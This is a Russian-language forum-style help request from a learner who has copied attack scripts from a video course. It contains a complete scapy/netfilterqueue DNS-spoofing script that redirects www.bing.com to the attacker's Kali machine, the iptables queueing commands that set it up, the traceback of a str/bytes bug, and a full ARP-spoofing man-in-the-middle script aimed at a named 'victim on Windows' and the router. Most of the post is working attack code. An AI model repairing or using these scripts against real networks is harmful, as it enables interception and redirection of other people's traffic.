Через терминал Kali Linux вбивают вот это python dns_spoof.py
код программы
#!/usr/binenv python import netfilterqueue import scapy.all as scapy
def process_packet(packet):
scapy_packet = scapy.IP(packet.get_payload())
if scapy_packet.haslayer(scapy.DNSRR):
qname = scapy_packet[scapy.DNSQR].qname
if "www.bing.com" in qname:
print("[+] Spoofing target")
answer = scapy.DNSRR(rrname = qname, rdata = "здесь ip компьютера с kali")
scapy_packet[scapy.DNS].an = answer
scapy_packet[scapy.DNS].ancount = 1
del scapy_packet[scapy.IP].len
del scapy_packet[scapy.IP].chksum
del scapy_packet[scapy.UDP].chksum
del scapy_packet[scapy.UDP].len
packet.set_payload(str(scapy_packet))
packet.accept()
queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()
ошибка которую выдает
Traceback (most recent call last):
File "/home/kali/PycharmProjects/dns_spoof/dns_spoof.py", line 28, in <module>
queue.run()
File "netfilterqueue/_impl.pyx", line 326, in netfilterqueue._impl.NetfilterQueue.run
File "netfilterqueue/_impl.pyx", line 47, in netfilterqueue._impl.global_callback
File "/home/kali/PycharmProjects/dns_spoof/dns_spoof.py", line 10, in process_packet
if "www.bing.com" in qname:
TypeError: a bytes-like object is required, not 'str'
параллельно в другом окне терминала по порядку iptables -I OUTPUT -j NFQUEUE --queue-num 0 iptables -I INPUT -j NFQUEUE --queue-num 0 ping -c 1 www.bing.com
и вот это так же iptables -I FORWARD -j NFQUEUE --queue-num 0 ping -c 1 www.bing.com отдельно пробовал
из папки arp_spoof c arp_spoof.py с кодом
#!/usr/binenv python
import scapy.all as scapy
import time
import sys
def get_mac(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast/arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False) [0]
return(answered_list[0][1].hwsrc)
clients_list=[]
# for element in answered_list:
# clients_dict ={"ip": element[1].psrc, "mac": element[1].hwsrc}
# clients_list.append(clients_dict)
# print(element[1].psrc + "\t\t" + element[1].hwsrc)
# return clients_list
def spoof(target_ip, spoof_ip):
target_mac=get_mac(target_ip)
packet= scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
scapy.send(packet, verbose=False)
def restore(destination_ip, sourse_ip):
destination_mac=get_mac(destination_ip)
sourse_mac=get_mac(sourse_ip)
packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=sourse_ip, hwsrc=sourse_mac)
scapy.send(packet, count=4, verbose=False)
target_ip="ip жертвы на Windows"
getway_ip="ip роутера"
try:
sent_packets_count = 0
while True:
spoof(target_ip, getway_ip)
spoof(getway_ip, target_ip)
sent_packets_count =sent_packets_count +2
print("\r[+] Отправлено пакетов:" + str(sent_packets_count),end="")
sys.stdout.flush()
time.sleep(1)
except IndexError or KeyboardInterrupt:
print(" \nНе сработало. До Свидания")
restore(target_ip, getway_ip)
restore(getway_ip, target_ip)
arp_spoof.py работает сам отдельно и ловит количество пакетов, если что.
все взято из видео курса с правкой на мои ip
надеюсь код не попалыл